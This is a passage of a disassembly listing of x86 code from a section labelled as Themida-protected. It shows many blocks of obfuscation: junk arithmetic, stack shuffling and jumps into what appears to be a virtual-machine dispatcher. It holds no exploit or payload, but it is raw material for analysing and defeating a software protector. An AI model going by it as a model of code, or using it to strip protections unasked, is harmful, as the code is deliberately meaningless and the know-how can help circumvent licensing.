pop edx
push dword ptr [esp]
push dword ptr [esp]
mov eax, [esp]
push esi
mov esi, esp
jmp loc_599799
; ---------------------------------------------------------------------------
loc_594FF2: ; CODE XREF: Themida_:005A3B32j
push edi
mov edi, 2
add ebp, edi
jmp loc_5A0CD0
; ---------------------------------------------------------------------------
loc_594FFF: ; CODE XREF: Themida_:005954A6j
shl byte ptr [esp], cl
pushf
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_595008: ; CODE XREF: Themida_:005963A8j
add eax, ebp
pop ebp
jmp loc_5A44E8
; ---------------------------------------------------------------------------
loc_595010: ; CODE XREF: Themida_:0059432Ej
mov esi, 5622721h
xchg ebp, esi
not ebp
xchg ebp, esi
sub esi, 78064F1Bh
add esi, 4A6F5E66h
sub esi, 0A03800E1h
add eax, esi
pop esi
or [edi+1Ch], eax
pop eax
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_595039: ; CODE XREF: Themida_:005A50DDj
pop ecx
push ecx
jmp loc_591AB7
; ---------------------------------------------------------------------------
loc_595040: ; CODE XREF: Themida_:005939AAj
push small 5118h
jmp loc_5A2F76
; ---------------------------------------------------------------------------
loc_595049: ; CODE XREF: Themida_:0059826Bj
push eax
jmp loc_593239
; ---------------------------------------------------------------------------
loc_59504F: ; CODE XREF: Themida_:005A2327j
sub edi, 818BFE6h
sub edx, edi
pop edi
jmp loc_5966CC
; ---------------------------------------------------------------------------
loc_59505D: ; CODE XREF: Themida_:0059AD21j
pop ebp
add edi, ebx
pop ebx
mov eax, edi
pop edi
and ecx, eax
mov eax, [esp]
push 75ADh
mov [esp], esi
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop esi
add esi, 4
jmp loc_591251
; ---------------------------------------------------------------------------
loc_59508A: ; CODE XREF: Themida_:0059731Dj
mov esi, ebx
pop ebx
jmp loc_59F209
; ---------------------------------------------------------------------------
loc_595092: ; CODE XREF: Themida_:005A1316j
sub edx, ebx
pop ebx
shl edx, 8
jmp loc_595EED
; ---------------------------------------------------------------------------
loc_59509D: ; CODE XREF: Themida_:005A2E3Cj
mov eax, 4
add [esp+4], eax
push dword ptr [esp]
pop eax
add esp, 4
pop edi
jmp loc_5A1279
; ---------------------------------------------------------------------------
loc_5950B6: ; CODE XREF: Themida_:0059D64Ej
and [edi+1Ch], esi
mov esi, [esp]
push 565h
mov [esp], esi
push esp
jmp loc_591E09
; ---------------------------------------------------------------------------
loc_5950CA: ; CODE XREF: Themida_:00590F99j
add edi, 0AEDD6B48h
or edx, edi
jmp loc_598C3C
; ---------------------------------------------------------------------------
loc_5950D7: ; CODE XREF: Themida_:00594E94j
pop dword ptr [esp]
mov esp, [esp]
sub edx, 4C9B65EEh
add edx, eax
add edx, 4C9B65EEh
pop eax
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
mov esp, [esp]
jmp loc_5A2A45
; ---------------------------------------------------------------------------
loc_5950FD: ; CODE XREF: Themida_:005A36A0j
pop dx
xor ch, 0DBh
add al, ch
pop ecx
xor dl, al
mov eax, [esp]
add esp, 4
jmp loc_598B1B
; ---------------------------------------------------------------------------
loc_595112: ; CODE XREF: Themida_:005A31ACj
push esp
push dword ptr [esp]
mov edx, [esp]
jmp loc_5A332D
; ---------------------------------------------------------------------------
loc_59511E: ; CODE XREF: Themida_:0059C710j
add esp, 4
jmp loc_595B80
; ---------------------------------------------------------------------------
loc_595126: ; CODE XREF: Themida_:005A2777j
xor ecx, 3FA646BCh
sub ebx, ecx
pop ecx
pop edi
push 1620h
mov [esp], ebx
mov eax, [esp]
add esp, 4
mov ebx, [esp]
add esp, 4
add eax, edi
jmp loc_59A924
; ---------------------------------------------------------------------------
loc_59514E: ; CODE XREF: Themida_:00591CD3j
mov esp, [esp]
add [esp], eax
push ecx
jmp loc_59E851
; ---------------------------------------------------------------------------
loc_59515A: ; CODE XREF: Themida_:00599841j
pop edx
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_595160: ; CODE XREF: Themida_:00590613j
sub edx, 4
xchg edx, [esp]
mov esp, [esp]
mov [esp], ecx
mov cl, 31h
push ax
mov ah, 72h
push dx
mov dh, 0B0h
add cl, dh
jmp loc_5A4268
; ---------------------------------------------------------------------------
loc_595180: ; CODE XREF: Themida_:0059E55Fj
sub ebp, 0BA16C5E3h
xor eax, ebp
pop ebp
sub eax, 11FFEBA3h
add edx, eax
pop eax
jmp loc_59EBD4
; ---------------------------------------------------------------------------
loc_595196: ; CODE XREF: Themida_:00593037j
push ebp
mov ebp, 1
mov eax, ebp
pop ebp
push ebx
push edx
jmp loc_591CEC
; ---------------------------------------------------------------------------
pop dword ptr fs:[edx]
jmp loc_5929EB
; ---------------------------------------------------------------------------
loc_5951AE: ; CODE XREF: Themida_:005A1138j
add esp, 4
push edx
mov edx, 0E558745Bh
push eax
mov eax, 2A9D36C5h
sub ebp, 21F9219Dh
sub ebp, eax
push eax
jmp loc_5A2185
; ---------------------------------------------------------------------------
loc_5951CB: ; CODE XREF: Themida_:0059F0FFj
push esi
mov esi, 11F4332Dh
shr esi, 4
jmp loc_59C5ED
; ---------------------------------------------------------------------------
loc_5951D9: ; CODE XREF: Themida_:00594775j
push ebp
pop eax
pop ebp
push ebp
jmp loc_5A0F5A
; ---------------------------------------------------------------------------
loc_5951E2: ; CODE XREF: Themida_:005919DFj
push eax
jmp loc_59DEF0
; ---------------------------------------------------------------------------
loc_5951E8: ; CODE XREF: Themida_:005A1E95j
mov [esp], ebp
jmp loc_590E8C
; ---------------------------------------------------------------------------
loc_5951F0: ; CODE XREF: Themida_:005A2022j
pop ebp
sub esp, 4
mov [esp], ebp
push esp
pop ebp
jmp loc_59C6D7
; ---------------------------------------------------------------------------
loc_5951FE: ; CODE XREF: Themida_:00590509j
add ebp, 4596077Ch
jmp loc_5A175D
; ---------------------------------------------------------------------------
loc_595209: ; CODE XREF: Themida_:0059D06Ej
cmp cx, ax
pushf
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_595212: ; CODE XREF: Themida_:0059B0B0j
pop esp
jmp loc_5906B4
; ---------------------------------------------------------------------------
loc_595218: ; CODE XREF: Themida_:005980DBj
add ecx, 0BEF4FD51h
add eax, ecx
mov ecx, [esp]
add esp, 4
sub esp, 4
mov [esp], esi
mov esi, 654D11F1h
jmp loc_5A41C5
; ---------------------------------------------------------------------------
loc_595236: ; CODE XREF: Themida_:00595326j
pop dword ptr [esp]
pop esp
mov [esp], ebx
push esp
pop ebx
jmp loc_59699E
; ---------------------------------------------------------------------------
loc_595244: ; CODE XREF: Themida_:005A0A3Cj
xor ebp, 40A011h
mov ecx, ebp
jmp loc_592AE7
; ---------------------------------------------------------------------------
loc_595251: ; CODE XREF: Themida_:005A4099j
push 4E14h
mov [esp], eax
jmp loc_59AF61
; ---------------------------------------------------------------------------
loc_59525E: ; CODE XREF: Themida_:0059A193j
dec eax
neg eax
xor eax, 0CD3CB0F2h
mov ecx, eax
pop eax
jmp loc_592240
; ---------------------------------------------------------------------------
loc_59526E: ; CODE XREF: Themida_:0059CF9Fj
sub eax, ebx
pop ebx
mov ebx, [esp]
jmp loc_59B7E3
; ---------------------------------------------------------------------------
loc_595279: ; CODE XREF: Themida_:0059EC4Fj
mov ebp, 7C186882h
sub ebp, 7C186880h
add ebx, ebp
pop ebp
xchg ebx, [esp]
pop esp
mov dx, [esp]
push esi
push esp
jmp loc_593CD7
; ---------------------------------------------------------------------------
loc_595296: ; CODE XREF: Themida_:00591AB2j
push esi
jmp loc_59D103
; ---------------------------------------------------------------------------
loc_59529C: ; CODE XREF: Themida_:00597D47j
add ch, 0BEh
jmp loc_5956B5
; ---------------------------------------------------------------------------
loc_5952A4: ; CODE XREF: Themida_:00595603j
add esi, edx
jmp loc_59E417
; ---------------------------------------------------------------------------
loc_5952AB: ; CODE XREF: Themida_:0059C1A3j
xor esi, ecx
xor ecx, esi
xor esi, ecx
push eax
push esi
pop eax
jmp loc_593322
; ---------------------------------------------------------------------------
loc_5952B9: ; CODE XREF: Themida_:005A505Ej
push eax
jmp loc_59EA41
; ---------------------------------------------------------------------------
loc_5952BF: ; CODE XREF: Themida_:0059152Ej
pop ecx
add edx, edi
pop edi
add edx, ebx
push eax
jmp loc_59C6A0
; ---------------------------------------------------------------------------
loc_5952CB: ; CODE XREF: Themida_:005A4249j
sub [esp+4], eax
pop eax
jmp loc_594BF5
; ---------------------------------------------------------------------------
loc_5952D5: ; CODE XREF: Themida_:00593DACj
push ebx
mov ebx, 4D8E1FB8h
and ebx, 42641FE3h
sub ebx, 40041F9Ch
sub eax, 68731783h
add eax, ebx
sub esp, 4
mov [esp], ebx
mov ebx, 68731783h
add eax, ebx
pop ebx
pop ebx
push esi
push ebx
mov ebx, 2
mov esi, ebx
jmp loc_5A0B65
; ---------------------------------------------------------------------------
loc_59530B: ; CODE XREF: Themida_:005A178Aj
sub eax, esi
jmp loc_5A561C
; ---------------------------------------------------------------------------
loc_595312: ; CODE XREF: Themida_:0059396Aj
push esp
pop ecx
add ecx, 4
sub ecx, 4
push ecx
push dword ptr [esp+4]
pop ecx
jmp loc_595236
; ---------------------------------------------------------------------------
loc_59532B: ; CODE XREF: Themida_:005944C9j
push 1C79h
jmp loc_5998AA
; ---------------------------------------------------------------------------
loc_595335: ; CODE XREF: Themida_:00591845j
pop cx
movzx eax, al
jmp dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
popa
retn
; ---------------------------------------------------------------------------
mov cx, [esp]
sub esp, 4
mov [esp], esi
mov esi, esp
push 68A8h
jmp loc_59BD65
; ---------------------------------------------------------------------------
loc_595358: ; CODE XREF: Themida_:005A2A72j
xchg ebx, edi
push ebx
not dword ptr [esp]
jmp loc_598D71
; ---------------------------------------------------------------------------
loc_595363: ; CODE XREF: Themida_:00599977j
pop cx
push ax
mov ah, 1
add bh, ah
pop ax
shr bh, 1
add bh, 0Bh
jmp loc_59C0B7
; ---------------------------------------------------------------------------
loc_595377: ; CODE XREF: Themida_:00599890j
not dh
jmp loc_594691
; ---------------------------------------------------------------------------
loc_59537E: ; CODE XREF: Themida_:005943BBj
xchg ecx, [esp]
pop esp
push ecx
mov ecx, 234F7519h
xor eax, ecx
jmp loc_59F0B8
; ---------------------------------------------------------------------------
loc_59538F: ; CODE XREF: Themida_:005A4A35j
pop ecx
pop edi
neg ecx
jmp loc_599BDD
; ---------------------------------------------------------------------------
mov ax, [esp]
push edx
sub esp, 4
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
pop edx
sub esp, 4
jmp loc_5A3A72
; ---------------------------------------------------------------------------
loc_5953B7: ; CODE XREF: Themida_:00591B08j
add esp, 4
xor edi, [esp]
jmp loc_5A1D2A
; ---------------------------------------------------------------------------
loc_5953C2: ; CODE XREF: Themida_:00596BCEj
mov ecx, [esp]
add esp, 4
sub eax, esi
jmp loc_5905DD
; ---------------------------------------------------------------------------
loc_5953D2: ; CODE XREF: Themida_:005960ECj
push edx
sub esp, 4
mov [esp], eax
push 5C70582h
pop eax
sub dword ptr [esp+4], 62D39C7h
sub dword ptr [esp+4], 36BC4257h
sub [esp+4], eax
add dword ptr [esp+4], 36BC4257h
add dword ptr [esp+4], 62D39C7h
pop eax
pop eax
jmp loc_5A53C9
; ---------------------------------------------------------------------------
loc_59540A: ; CODE XREF: Themida_:00592200j
mov ebp, esp
push ebx
jmp loc_59DCDE
; ---------------------------------------------------------------------------
loc_595412: ; CODE XREF: Themida_:0059E487j
add ebp, 644C225Eh
jmp loc_59EBE4
; ---------------------------------------------------------------------------
loc_59541D: ; CODE XREF: Themida_:00596862j
pop edx
and ebp, 11E2757Fh
jmp loc_5A22A1
; ---------------------------------------------------------------------------
loc_595429: ; CODE XREF: Themida_:005A05CFj
mov edi, 7DC83D86h
jmp loc_5910C9
; ---------------------------------------------------------------------------
loc_595433: ; CODE XREF: Themida_:0059EE59j
add eax, 4
xchg eax, [esp]
jmp loc_5A3589
; ---------------------------------------------------------------------------
loc_59543E: ; CODE XREF: Themida_:0059A6FBj
add esp, 4
jmp loc_5921D9
; ---------------------------------------------------------------------------
loc_595449: ; CODE XREF: Themida_:0059A426j
xor [esp], al
pushf
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_595452: ; CODE XREF: Themida_:00592B00j
mov [esp], ebx
mov ebx, 4
add esi, ebx
pop ebx
push edx
mov edx, 3007720h
dec edx
jmp loc_593DC4
; ---------------------------------------------------------------------------
loc_595469: ; CODE XREF: Themida_:005A22FBj
sub ecx, 2
xor ecx, [esp]
xor [esp], ecx
jmp loc_59BE23
; ---------------------------------------------------------------------------
loc_595477: ; CODE XREF: Themida_:00590777j
pop ebp
push 4E4Ch
mov [esp], edi
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], esp
jmp loc_59D6AB
; ---------------------------------------------------------------------------
loc_595498: ; CODE XREF: Themida_:005A1B5Dj
pop dword ptr [esp]
pop esp
mov [esp], cx
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_5954A5: ; CODE XREF: Themida_:005A56DDj
pop esp
jmp loc_594FFF
; ---------------------------------------------------------------------------
loc_5954AB: ; CODE XREF: Themida_:00599569j
push eax
push ecx
jmp loc_5A0F77
; ---------------------------------------------------------------------------
loc_5954B2: ; CODE XREF: Themida_:005A35DFj
shl esi, 2
not esi
sub esi, 0E3EA5037h
jmp loc_5A30B3
; ---------------------------------------------------------------------------
loc_5954C2: ; CODE XREF: Themida_:005959B1j
add esp, 4
add edx, 4
push edi
push esi
mov esi, 55027C6h
mov edi, 55027CAh
sub edi, esi
mov esi, [esp]
add esp, 4
push eax
mov eax, 3FF408F2h
sub eax, 1B0AD9EDh
add edx, eax
pop eax
sub edx, 3B515A98h
add edx, edi
push edi
jmp loc_5A00D1
; ---------------------------------------------------------------------------
loc_5954FB: ; CODE XREF: Themida_:00598A02j
sub dword ptr [esp+8], 13D359C1h
jmp loc_59682F
; ---------------------------------------------------------------------------
loc_595508: ; CODE XREF: Themida_:0059159Ej
mov eax, [esp]
jmp loc_599C78
; ---------------------------------------------------------------------------
loc_595510: ; CODE XREF: Themida_:0059E6A5j
mov edx, esp
push ebp
mov ebp, 2C126133h
jmp loc_5A2D7F
; ---------------------------------------------------------------------------
loc_59551D: ; CODE XREF: Themida_:005908B4j
add eax, esi
sub eax, 179B52F9h
mov esi, [esp]
add esp, 4
push edx
mov edx, 4
jmp loc_59940E
; ---------------------------------------------------------------------------
loc_595538: ; CODE XREF: Themida_:005A0D3Dj
mov ebx, [esp]
jmp loc_5991EA
; ---------------------------------------------------------------------------
loc_595540: ; CODE XREF: Themida_:005A3E83j
xor eax, 762F5204h
sub edi, 509B40E1h
add edi, 14F274EAh
add edi, eax
sub edi, 14F274EAh
push ebp
mov ebp, 509B40E1h
add edi, ebp
pop ebp
pop eax
add edi, 4
jmp loc_5A1E9A
; ---------------------------------------------------------------------------
loc_59556E: ; CODE XREF: Themida_:005975DAj
push eax
mov eax, 1043DB3h
shr eax, 2
sub eax, 35D52037h
sub eax, 0E4C7170h
sub eax, 4D3017EEh
add eax, 0A5FDA2DFh
add ebp, eax
jmp loc_591ACD
; ---------------------------------------------------------------------------
loc_595592: ; CODE XREF: Themida_:00593A16j
not ah
add ah, 83h
xor ah, 0ACh
mov dh, ah
jmp loc_59AE65
; ---------------------------------------------------------------------------
loc_5955A1: ; CODE XREF: Themida_:005947A7j
mov eax, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
jmp loc_592287
; ---------------------------------------------------------------------------
lodsd
jmp loc_5909A9
; ---------------------------------------------------------------------------
loc_5955BE: ; CODE XREF: Themida_:005A1021j
push edi
mov edi, 13D001BDh
sub esi, edi
mov edi, [esp]
add esp, 4
sub esi, 3D420FE0h
add esi, edi
add esi, 3D420FE0h
sub esp, 4
mov [esp], edx
mov edx, 2C377F19h
inc edx
add edx, 30747546h
jmp loc_59B74A
; ---------------------------------------------------------------------------
loc_5955F4: ; CODE XREF: Themida_:00597616j
pop edi
jmp loc_5949FE
; ---------------------------------------------------------------------------
loc_5955FA: ; CODE XREF: Themida_:00599364j
mov ebx, 46526DB7h
add edx, ebx
pop ebx
pop ebp
jmp loc_5952A4
; ---------------------------------------------------------------------------
loc_595608: ; CODE XREF: Themida_:00595E2Dj
push edx
mov dl, ah
jmp loc_59A521
; ---------------------------------------------------------------------------
loc_595610: ; CODE XREF: Themida_:0059ADB3j
xor [esp], edx
xor edx, [esp]
jmp loc_591623
; ---------------------------------------------------------------------------
loc_59561B: ; CODE XREF: Themida_:0059AA1Aj
add al, 58h
pop ecx
xor bl, al
sub esp, 4
mov [esp], edx
push 2EC0h
mov [esp], ebp
mov ebp, 634264h
or ebp, 5DC46141h
sub esp, 4
mov [esp], eax
mov eax, 3D4F72DEh
jmp loc_5A4FB2
; ---------------------------------------------------------------------------
loc_59564C: ; CODE XREF: Themida_:00596898j
mov ebp, [esp]
add esp, 4
jmp loc_5A4A3A
; ---------------------------------------------------------------------------
loc_595657: ; CODE XREF: Themida_:0059C04Aj
sub edi, 73D61D32h
add edi, ebp
add edi, 73D61D32h
mov ebp, [esp]
add esp, 4
add edi, 4
push edx
jmp loc_599F14
; ---------------------------------------------------------------------------
loc_595674: ; CODE XREF: Themida_:005A1BE2j
pop ecx
push edx
push ebx
jmp loc_59CB53
; ---------------------------------------------------------------------------
loc_59567C: ; CODE XREF: Themida_:00597CB6j
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
push edx
jmp loc_5A1C7E
; ---------------------------------------------------------------------------
loc_595690: ; CODE XREF: Themida_:005931E2j
add ebx, edi
sub ebx, 7DCA709Bh
sub ebx, 4DFF08CFh
push 7BABh
jmp loc_596DCA
; ---------------------------------------------------------------------------
loc_5956A8: ; CODE XREF: Themida_:0059AE01j
push 5696h
mov [esp], esi
jmp loc_591D8D
; ---------------------------------------------------------------------------
loc_5956B5: ; CODE XREF: Themida_:0059529Fj
sub ch, 0E8h
xor ch, 0B8h
sub al, ch
pop ecx
sub al, dh
push ecx
mov cl, 44h
xor cl, 5Eh
jmp loc_59D8A9
; ---------------------------------------------------------------------------
loc_5956CB: ; CODE XREF: Themida_:005A229Cj
not dword ptr [esp]
pop edi
push 6940h
mov [esp], ecx
mov ecx, 14E1314Eh
jmp loc_59C6E8
; ---------------------------------------------------------------------------
loc_5956E1: ; CODE XREF: Themida_:0059CFC5j
mov [esp], esp
add dword ptr [esp], 4
jmp loc_595B88
; ---------------------------------------------------------------------------
loc_5956F0: ; CODE XREF: Themida_:0059F6C0j
push 0EE3h
mov [esp], edi
mov edi, 4
add ebx, edi
push dword ptr [esp]
mov edi, [esp]
add esp, 4
add esp, 4
jmp loc_59B671
; ---------------------------------------------------------------------------
loc_595713: ; CODE XREF: Themida_:00594F61j
mov ebx, 0FB512DC1h
add ebx, edx
pop edx
mov eax, 19805100h
sub eax, ebx
pop ebx
and ebx, eax
push dword ptr [esp]
jmp loc_5A4610
; ---------------------------------------------------------------------------
loc_59572D: ; CODE XREF: Themida_:005A31EEj
pop esi
push eax
jmp loc_59EA3A
; ---------------------------------------------------------------------------
loc_595734: ; CODE XREF: Themida_:00592D04j
xor [esp], edx
xor edx, [esp]
mov esp, [esp]
mov [esp], edx
push ecx
push 43BAh
mov [esp], ebx
push ecx
mov cl, 0FEh
add cl, 93h
mov bl, cl
pop ecx
xor bl, 0D2h
mov ch, bl
mov ebx, [esp]
add esp, 4
mov dh, 0D0h
xor dh, ch
pop ecx
add al, dh
mov edx, [esp]
add esp, 4
push 3F45h
mov [esp], ebx
mov bh, 0E0h
shr bh, 7
push edx
mov dl, 67h
push eax
mov al, 8Bh
shl al, 1
shr al, 1
sub al, 0Ah
xor al, 4Eh
xor dl, al
jmp loc_5A07C4
; ---------------------------------------------------------------------------
loc_59578F: ; CODE XREF: Themida_:005A0365j
sub ecx, edx
pop edx
push edi
mov edi, 6D565BEBh
sub ecx, edi
push dword ptr [esp]
pop edi
add esp, 4
add eax, ecx
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
jmp loc_592F6B
; ---------------------------------------------------------------------------
loc_5957B4: ; CODE XREF: Themida_:005A3F46j
push ebp
mov ebp, 2212699Dh
sub ebp, 21DB136Dh
mov ebx, ebp
pop ebp
shl ebx, 8
sub ebx, 549E6B47h
add ebx, 7DE46712h
not ebx
jmp loc_5A1A6C
; ---------------------------------------------------------------------------
loc_5957D9: ; CODE XREF: Themida_:005982E4j
inc dl
push ebx
jmp loc_597BB0
; ---------------------------------------------------------------------------
loc_5957E1: ; CODE XREF: Themida_:0059351Fj
push edi
mov edi, 14C1782Dh
xor edi, 718534F8h
not edi
or edi, 9C9049Fh
sub edi, 34DB486Dh
add edi, 98DF90B2h
add edx, edi
jmp loc_5A550E
; ---------------------------------------------------------------------------
loc_595808: ; CODE XREF: Themida_:00594224j
pop ebp
xchg ebx, [esp]
jmp loc_591D2B
; ---------------------------------------------------------------------------
loc_595811: ; CODE XREF: Themida_:00592309j
pop ebp
pop edx
add ebx, ecx
push dword ptr [esp]
jmp loc_5A24B5
; ---------------------------------------------------------------------------
lodsb
add al, 0E8h
push edx
mov dl, 5
push ecx
mov cl, 82h
inc cl
push ebx
mov bl, 0FBh
shr bl, 5
not bl
jmp loc_5A2AEA
; ---------------------------------------------------------------------------
loc_595835: ; CODE XREF: Themida_:005A4230j
push edx
push ebp
mov ebp, 29CB0DE6h
mov edx, ebp
jmp loc_5A2DCB
; ---------------------------------------------------------------------------
loc_595843: ; CODE XREF: Themida_:00599E63j
pop esp
shr ecx, 7
push eax
push esp
pop eax
add eax, 4
sub eax, 4
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
mov esp, [esp]
mov [esp], ebx
jmp loc_59D189
; ---------------------------------------------------------------------------
loc_595868: ; CODE XREF: Themida_:005A2F36j
push 7B665872h
pop ebx
shl ebx, 6
add ebx, 0FFFFFFFFh
or ebx, 342B1978h
push edi
mov edi, 492E43F6h
inc edi
jmp loc_5962FB
; ---------------------------------------------------------------------------
loc_595886: ; CODE XREF: Themida_:005936B7j
add ebp, 4
xchg ebp, [esp]
pop esp
sub bl, 0DAh
push edx
mov dl, 6Eh
not dl
neg dl
shr dl, 5
sub dl, 0C3h
sub bl, 0B5h
sub bl, dl
push ax
jmp loc_596B35
; ---------------------------------------------------------------------------
loc_5958AC: ; CODE XREF: Themida_:0059D301j
mov [esp], ebx
push esp
pop ebx
jmp loc_59F351
; ---------------------------------------------------------------------------
loc_5958B6: ; CODE XREF: Themida_:0059FB77j
add esp, 4
sub eax, edi
pop edi
sub esp, 4
mov [esp], esi
jmp loc_5A0B28
; ---------------------------------------------------------------------------
loc_5958C7: ; CODE XREF: Themida_:00591F2Aj
xor eax, ebx
push 2B1Dh
mov [esp], esi
jmp loc_598FF9
; ---------------------------------------------------------------------------
loc_5958D6: ; CODE XREF: Themida_:0059EFCDj
add esp, 4
push edx
mov edx, 0A03A9A3Fh
jmp loc_594E99
; ---------------------------------------------------------------------------
loc_5958E4: ; CODE XREF: Themida_:00599AD7j
push ebx
push ecx
jmp loc_59C960
; ---------------------------------------------------------------------------
loc_5958EB: ; CODE XREF: Themida_:00596031j
push edi
mov edi, ebp
mov edx, edi
pop edi
mov eax, edx
pop edx
pop ebp
sub eax, edx
push dword ptr [esp]
pop edx
push edi
mov edi, esp
add edi, 4
push eax
mov eax, 4
add edi, eax
pop eax
xchg edi, [esp]
pop esp
jmp loc_594C97
; ---------------------------------------------------------------------------
loc_595916: ; CODE XREF: Themida_:00598B41j
mov cl, bl
pop ebx
xor cl, 3Ch
shl cl, 1
jmp loc_5905EF
; ---------------------------------------------------------------------------
loc_595923: ; CODE XREF: Themida_:0059053Fj
mov [esp], esi
push 6D45283Dh
pop esi
add esi, 72DF51CAh
jmp loc_59D7FB
; ---------------------------------------------------------------------------
loc_595937: ; CODE XREF: Themida_:0059DD48j
push eax
mov eax, 34DC4CFDh
add eax, 53416497h
xor edx, eax
jmp loc_5941D4
; ---------------------------------------------------------------------------
loc_595949: ; CODE XREF: Themida_:005930D1j
sub ebp, 122324CBh
pop ebx
push ebp
push dword ptr [esp+4]
jmp loc_5A224C
; ---------------------------------------------------------------------------
loc_59595A: ; CODE XREF: Themida_:00595EB0j
pop ebx
inc edi
add edi, 8AE0FA42h
push ebx
mov ebx, 7C920ECBh
sub ecx, 147767D0h
sub ecx, ebx
add ecx, 147767D0h
pop ebx
jmp loc_5A3174
; ---------------------------------------------------------------------------
loc_59597C: ; CODE XREF: Themida_:0059F4E8j
add esp, 4
mov edi, [esp]
jmp loc_59253A
; ---------------------------------------------------------------------------
loc_59598A: ; CODE XREF: Themida_:005A46A9j
push dword ptr [esp]
pop eax
jmp loc_5A0168
; ---------------------------------------------------------------------------
loc_595993: ; CODE XREF: Themida_:0059F1FEj
push cx
pushf
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_59599B: ; CODE XREF: Themida_:0059F797j
sub eax, 0D240B83h
jmp loc_599A0E
; ---------------------------------------------------------------------------
loc_5959A5: ; CODE XREF: Themida_:0059463Cj
add dword ptr [esp+4], 6E9C2029h
pop edx
mov edx, [esp]
jmp loc_5954C2
; ---------------------------------------------------------------------------
loc_5959B6: ; CODE XREF: Themida_:005A52A2j
pop esp
idiv ecx
push 34AEh
mov [esp], edx
push eax
pushf
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_5959C8: ; CODE XREF: Themida_:00593AEDj
xchg ebx, [esp]
pop esp
push edi
mov edi, 6341DDCh
add edi, 0BE26F08h
jmp loc_59899D
; ---------------------------------------------------------------------------
loc_5959DD: ; CODE XREF: Themida_:005A2DC6j
xchg esi, [esp]
jmp loc_599A18
; ---------------------------------------------------------------------------
loc_5959E5: ; CODE XREF: Themida_:00590F87j
sub esp, 4
jmp loc_597048
; ---------------------------------------------------------------------------
loc_5959ED: ; CODE XREF: Themida_:0059C5A6j
add eax, 61DD7DE4h
not eax
shl eax, 7
not eax
shr eax, 5
push ecx
mov ecx, 0FCF95DA3h
add eax, ecx
pop ecx
xor esi, eax
mov eax, [esp]
push eax
push esp
pop eax
add eax, 4
add eax, 4
jmp loc_5A4A9A
; ---------------------------------------------------------------------------
loc_595A1C: ; CODE XREF: Themida_:005942C7j
add dl, bh
pop ebx
xchg ah, dl
push small 0
sub [esp], ah
mov ah, [esp]
add esp, 2
jmp loc_59DDB2
; ---------------------------------------------------------------------------
loc_595A33: ; CODE XREF: Themida_:0059DE0Fj
add esp, 4
sub al, dl
pop dx
push small 2967h
mov [esp], bx
push edx
mov dl, 91h
xor dl, 38h
sub dl, 85h
jmp loc_59CB3A
; ---------------------------------------------------------------------------
loc_595A53: ; CODE XREF: Themida_:005938E8j
push ecx
mov ecx, 0E5910DCh
add esi, ecx
pop ecx
add esi, ebp
sub esi, 0E5910DCh
push ecx
mov ecx, 49287ECEh
sub esi, ecx
pop ecx
mov ebp, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
jmp loc_591282
; ---------------------------------------------------------------------------
mov ax, [esp]
push 3ED4h
mov [esp], esi
push esp
jmp loc_59C66F
; ---------------------------------------------------------------------------
loc_595A9A: ; CODE XREF: Themida_:0059E177j
add eax, ebp
jmp loc_59035B
; ---------------------------------------------------------------------------
loc_595AA1: ; CODE XREF: Themida_:0059F29Aj
pop ebx
pop dword ptr [esp]
jmp loc_5919E4
; ---------------------------------------------------------------------------
loc_595AAA: ; CODE XREF: Themida_:005A052Cj
xchg ebx, [esp]
mov esp, [esp]
pop dword ptr [esp]
mov esp, [esp]
mov cx, [esp]
jmp loc_598270
; ---------------------------------------------------------------------------
loc_595ABF: ; CODE XREF: Themida_:005A1CD8j
push dword ptr [esp+4]
mov edi, [esp]
add esp, 4
jmp loc_5A0D05
; ---------------------------------------------------------------------------
loc_595AD1: ; CODE XREF: Themida_:0059F2D3j
and edi, 770F24DAh
sub edi, 6B1B6259h
xor edi, 0D08F84C0h
jmp loc_5976A1
; ---------------------------------------------------------------------------
loc_595AE8: ; CODE XREF: Themida_:0059445Bj
dec dl
jmp loc_59D992
; ---------------------------------------------------------------------------
loc_595AEF: ; CODE XREF: Themida_:00597AF3j
pop esi
sub ebx, 703E20FBh
jmp loc_591D33
; ---------------------------------------------------------------------------
loc_595AFB: ; CODE XREF: Themida_:0059361Fj
push edx
not dword ptr [esp]
pop edx
jmp loc_59AC0F
; ---------------------------------------------------------------------------
loc_595B05: ; CODE XREF: Themida_:00593896j
inc ecx
sub ecx, 0F5532A83h
and eax, ecx
pop ecx
sub eax, 0AC30BB10h
jmp loc_595F95
; ---------------------------------------------------------------------------
loc_595B19: ; CODE XREF: Themida_:00596E49j
mov edi, 24E8779Ah
sub edi, 0FFFFFFFFh
dec edi
sub edi, 4D9216Ah
sub edi, 1
sub edi, 0E31AEDB4h
add esi, 6F9915DCh
sub esi, edi
sub esi, 6F9915DCh
pop edi
mov ebx, [esp]
add esp, 4
jmp loc_591076
; ---------------------------------------------------------------------------
loc_595B54: ; CODE XREF: Themida_:00596DAAj
sub edx, 23BC2FAEh
xor edx, 2CB24453h
add edx, 78EF2B91h
push ebp
jmp loc_59F67D
; ---------------------------------------------------------------------------
loc_595B6C: ; CODE XREF: Themida_:0059E7C9j
pop esi
pop dword ptr [esp]
jmp loc_5A3DFF
; ---------------------------------------------------------------------------
loc_595B75: ; CODE XREF: Themida_:0059B2A5j
add edi, 252F0750h
jmp loc_5A21D9
; ---------------------------------------------------------------------------
loc_595B80: ; CODE XREF: Themida_:00595121j
pop ebp
and eax, ecx
jmp loc_59A05F
; ---------------------------------------------------------------------------
loc_595B88: ; CODE XREF: Themida_:005956EBj
pop ebp
push ecx
mov ecx, 39133151h
shr ecx, 6
shl ecx, 7
